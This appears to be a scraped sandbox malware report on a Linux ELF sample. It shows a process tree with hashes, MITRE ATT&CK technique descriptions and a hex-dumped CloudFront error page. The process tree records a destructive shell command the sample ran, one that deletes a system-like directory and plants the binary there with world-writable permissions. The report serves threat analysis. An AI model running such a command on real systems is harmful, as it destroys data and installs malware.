6d 75 63 68 20 74 72 61 66 66 69 63 20 6f 72 20 61 20 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 65 72 72 6f 72 2e 20 54 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 2c 20 6f 72 20 63 6f 6e 74 61 63 74 20 74 68 65 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 6f 77 6e 65 72 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 49 66 20 79 6f 75 20 70 72 6f 76 69 64 65 20 63 6f 6e 74 65 6e 74 20 74 6f 20 63 75 73 74 6f 6d 65 72 73 20 74 68 72 6f 75 67 68 20 43 6c 6f 75 64 46 72 6f 6e 74 2c 20 79 6f 75 20 63 61 6e 20 66 69 6e 64 20 73 74 65 70 73 20 74 6f 20 74 72 6f 75 62 6c 65 73 68 6f 6f 74 20 61 6e 64 20 68 65 6c 70 20 70 72 65 76 65 6e 74 20 74 68 69 73 20 65 72 72 6f 72 20 62 79 20 72 65 76 69 65 77 69 6e 67 20 74 68 65 20 43 6c 6f 75 64 46 72 6f 6e 74 20 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 3c 50 52 45 3e 0a 47 65 6e 65 72 61 74 65 64 20 62 79 20 63 6c 6f 75 64 66 72 6f 6e 74 20 28 43 6c 6f 75 64 46 72 6f 6e 74 29 0a 52 65 71 75 65 73 74 20 49 44 3a 20 67 5f 35 46 39 52 35 36 79 4f 30 67 5a 79 47 46 57 49 6a 78 55 5a 75 69 5a 73 44 37 72 68 56 53 32 67 49 63 63 57 75 69 37 74 48 30 62 39 5a 69 51 72 35 42 59 51 3d 3d 0a 3c 2f 50 52 45 3e 0a 3c 41 44 44 52 45 53 53 3e 0a 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><TITLE>ERROR: The request could not be satisfied</TITLE></HEAD><BODY><H1>400 ERROR</H1><H2>The request could not be satisfied.</H2><HR noshade size="1px">Bad request.We can't connect to the server for this app or website at this time. There might be too much traffic or a configuration error. Try again later, or contact the app or website owner.<BR clear="all">If you provide content to customers through CloudFront, you can find steps to troubleshoot and help prevent this error by reviewing the CloudFront documentation.<BR clear="all"><HR noshade size="1px"><PRE>Generated by cloudfront (CloudFront)Request ID: g_5F9R56yO0gZyGFWIjxUZuiZsD7rhVS2gIccWui7tH0b9ZiQr5BYQ==</PRE><ADDRESS></ADDRESS></BODY></HTML>

System Behavior

Analysis Process: H085INliC6.elf PID: 6238, Parent PID: 6159

General

Start time (UTC):	11:36:50
Start date (UTC):	02/03/2024
Path:	/tmp/H085INliC6.elf
Arguments:	/tmp/H085INliC6.elf
File size:	115952 bytes
MD5 hash:	5cefad7064406a99f2414bf5436e904c

Start time (UTC):	11:36:50
Start date (UTC):	02/03/2024
Path:	/tmp/H085INliC6.elf
Arguments:	-
File size:	115952 bytes
MD5 hash:	5cefad7064406a99f2414bf5436e904c

Start time (UTC):	11:36:50
Start date (UTC):	02/03/2024
Path:	/bin/sh
Arguments:	sh -c "rm -rf usr/sbin && mkdir usr; >usr/sbin && mv /tmp/H085INliC6.elf usr/sbin; chmod 777 usr/sbin"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	11:36:50
Start date (UTC):	02/03/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	11:36:50
Start date (UTC):	02/03/2024
Path:	/usr/bin/rm
Arguments:	rm -rf usr/sbin
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Start time (UTC):	11:36:50
Start date (UTC):	02/03/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	11:36:50
Start date (UTC):	02/03/2024
Path:	/usr/bin/mkdir
Arguments:	mkdir usr
File size:	88408 bytes
MD5 hash:	088c9d1df5a28ed16c726eca15964cb7

Start time (UTC):	11:36:50
Start date (UTC):	02/03/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	11:36:50
Start date (UTC):	02/03/2024
Path:	/usr/bin/mv
Arguments:	mv /tmp/H085INliC6.elf usr/sbin
File size:	149888 bytes
MD5 hash:	504f0590fa482d4da070a702260e3716

Start time (UTC):	11:36:50
Start date (UTC):	02/03/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	11:36:50
Start date (UTC):	02/03/2024
Path:	/usr/bin/chmod
Arguments:	chmod 777 usr/sbin
File size:	63864 bytes
MD5 hash:	739483b900c045ae1374d6f53a86a279

Start time (UTC):	11:36:50
Start date (UTC):	02/03/2024
Path:	/tmp/H085INliC6.elf
Arguments:	-
File size:	115952 bytes
MD5 hash:	5cefad7064406a99f2414bf5436e904c

Start time (UTC):	11:36:50
Start date (UTC):	02/03/2024
Path:	/tmp/H085INliC6.elf
Arguments:	-
File size:	115952 bytes
MD5 hash:	5cefad7064406a99f2414bf5436e904c

Analysis Process: H085INliC6.elf PID: 6246, Parent PID: 6244

General

Start time (UTC):	11:36:50
Start date (UTC):	02/03/2024
Path:	/tmp/H085INliC6.elf
Arguments:	-
File size:	115952 bytes
MD5 hash:	5cefad7064406a99f2414bf5436e904c

Analysis Process: H085INliC6.elf PID: 6247, Parent PID: 6244

General

Start time (UTC):	11:36:50
Start date (UTC):	02/03/2024
Path:	/tmp/H085INliC6.elf
Arguments:	-
File size:	115952 bytes
MD5 hash:	5cefad7064406a99f2414bf5436e904c

Analysis Process: H085INliC6.elf PID: 6249, Parent PID: 6244

General

Start time (UTC):	11:36:50
Start date (UTC):	02/03/2024
Path:	/tmp/H085INliC6.elf
Arguments:	-
File size:	115952 bytes
MD5 hash:	5cefad7064406a99f2414bf5436e904c

Analysis Process: H085INliC6.elf PID: 6250, Parent PID: 6244

General

Start time (UTC):	11:36:50
Start date (UTC):	02/03/2024
Path:	/tmp/H085INliC6.elf
Arguments:	-
File size:	115952 bytes
MD5 hash:	5cefad7064406a99f2414bf5436e904c

Analysis Process: H085INliC6.elf PID: 6251, Parent PID: 6244

General

Start time (UTC):	11:36:50
Start date (UTC):	02/03/2024
Path:	/tmp/H085INliC6.elf
Arguments:	-
File size:	115952 bytes
MD5 hash:	5cefad7064406a99f2414bf5436e904c

Analysis Process: H085INliC6.elf PID: 6252, Parent PID: 6244

General

Start time (UTC):	11:36:50
Start date (UTC):	02/03/2024
Path:	/tmp/H085INliC6.elf
Arguments:	-
File size:	115952 bytes
MD5 hash:	5cefad7064406a99f2414bf5436e904c

Analysis Process: H085INliC6.elf PID: 6253, Parent PID: 6244

General

Start time (UTC):	11:36:50
Start date (UTC):	02/03/2024
Path:	/tmp/H085INliC6.elf
Arguments:	-
File size:	115952 bytes
MD5 hash:	5cefad7064406a99f2414bf5436e904c

Analysis Process: H085INliC6.elf PID: 6254, Parent PID: 6244

General

Start time (UTC):	11:36:50
Start date (UTC):	02/03/2024
Path:	/tmp/H085INliC6.elf
Arguments:	-
File size:	115952 bytes
MD5 hash:	5cefad7064406a99f2414bf5436e904c

Analysis Process: H085INliC6.elf PID: 6255, Parent PID: 6244

General

Start time (UTC):	11:36:50
Start date (UTC):	02/03/2024
Path:	/tmp/H085INliC6.elf
Arguments:	-
File size:	115952 bytes
MD5 hash:	5cefad7064406a99f2414bf5436e904c

Analysis Process: H085INliC6.elf PID: 6256, Parent PID: 6244

General

Start time (UTC):	11:36:50
Start date (UTC):	02/03/2024
Path:	/tmp/H085INliC6.elf
Arguments:	-
File size:	115952 bytes
MD5 hash:	5cefad7064406a99f2414bf5436e904c

Analysis Process: H085INliC6.elf PID: 6257, Parent PID: 6244

General

Start time (UTC):	11:36:50
Start date (UTC):	02/03/2024
Path:	/tmp/H085INliC6.elf
Arguments:	-
File size:	115952 bytes
MD5 hash:	5cefad7064406a99f2414bf5436e904c

Analysis Process: H085INliC6.elf PID: 6258, Parent PID: 6244

General

Start time (UTC):	11:36:50
Start date (UTC):	02/03/2024
Path:	/tmp/H085INliC6.elf
Arguments:	-
File size:	115952 bytes
MD5 hash:	5cefad7064406a99f2414bf5436e904c

Analysis Process: H085INliC6.elf PID: 6259, Parent PID: 6244

General

Start time (UTC):	11:36:50
Start date (UTC):	02/03/2024
Path:	/tmp/H085INliC6.elf
Arguments:	-
File size:	115952 bytes
MD5 hash:	5cefad7064406a99f2414bf5436e904c

Analysis Process: H085INliC6.elf PID: 6260, Parent PID: 6244

General

Start time (UTC):	11:36:50
Start date (UTC):	02/03/2024
Path:	/tmp/H085INliC6.elf
Arguments:	-
File size:	115952 bytes
MD5 hash:	5cefad7064406a99f2414bf5436e904c

Analysis Process: H085INliC6.elf PID: 6261, Parent PID: 6244

General

Start time (UTC):	11:36:50
Start date (UTC):	02/03/2024
Path:	/tmp/H085INliC6.elf
Arguments:	-
File size:	115952 bytes
MD5 hash:	5cefad7064406a99f2414bf5436e904c

Analysis Process: H085INliC6.elf PID: 6262, Parent PID: 6244

General

Start time (UTC):	11:36:50
Start date (UTC):	02/03/2024
Path:	/tmp/H085INliC6.elf
Arguments:	-
File size:	115952 bytes
MD5 hash:	5cefad7064406a99f2414bf5436e904c

Analysis Process: H085INliC6.elf PID: 6263, Parent PID: 6244

General

Start time (UTC):	11:36:50
Start date (UTC):	02/03/2024
Path:	/tmp/H085INliC6.elf
Arguments:	-
File size:	115952 bytes
MD5 hash:	5cefad7064406a99f2414bf5436e904c

Analysis Process: H085INliC6.elf PID: 6264, Parent PID: 6244

General

Start time (UTC):	11:36:50
Start date (UTC):	02/03/2024
Path:	/tmp/H085INliC6.elf
Arguments:	-
File size:	115952 bytes
MD5 hash:	5cefad7064406a99f2414bf5436e904c

Start time (UTC):	11:36:50
Start date (UTC):	02/03/2024
Path:	/tmp/H085INliC6.elf
Arguments:	-
File size:	115952 bytes
MD5 hash:	5cefad7064406a99f2414bf5436e904c

Start time (UTC):	11:36:50
Start date (UTC):	02/03/2024
Path:	/tmp/H085INliC6.elf
Arguments:	-
File size:	115952 bytes
MD5 hash:	5cefad7064406a99f2414bf5436e904c

Start time (UTC):	11:36:50
Start date (UTC):	02/03/2024
Path:	/usr/libexec/gnome-session-binary
Arguments:	-
File size:	334664 bytes
MD5 hash:	d9b90be4f7db60cb3c2d3da6a1d31bfb

Start time (UTC):	11:36:50
Start date (UTC):	02/03/2024
Path:	/bin/sh
Arguments:	/bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-housekeeping
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	11:36:50
Start date (UTC):	02/03/2024
Path:	/usr/libexec/gsd-housekeeping
Arguments:	/usr/libexec/gsd-housekeeping
File size:	51840 bytes
MD5 hash:	b55f3394a84976ddb92a2915e5d76914

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report H085INliC6.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

HTTP Packets

System Behavior

Analysis Process: H085INliC6.elf PID: 6238, Parent PID: 6159

General

Process Activities

Process Forked

Prctl Requested

Chronological Activities

Analysis Process: H085INliC6.elf PID: 6239, Parent PID: 6238

General

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: sh PID: 6239, Parent PID: 6238

General

File Activities

File Opened

File Read

Linux Analysis Report
H085INliC6.elf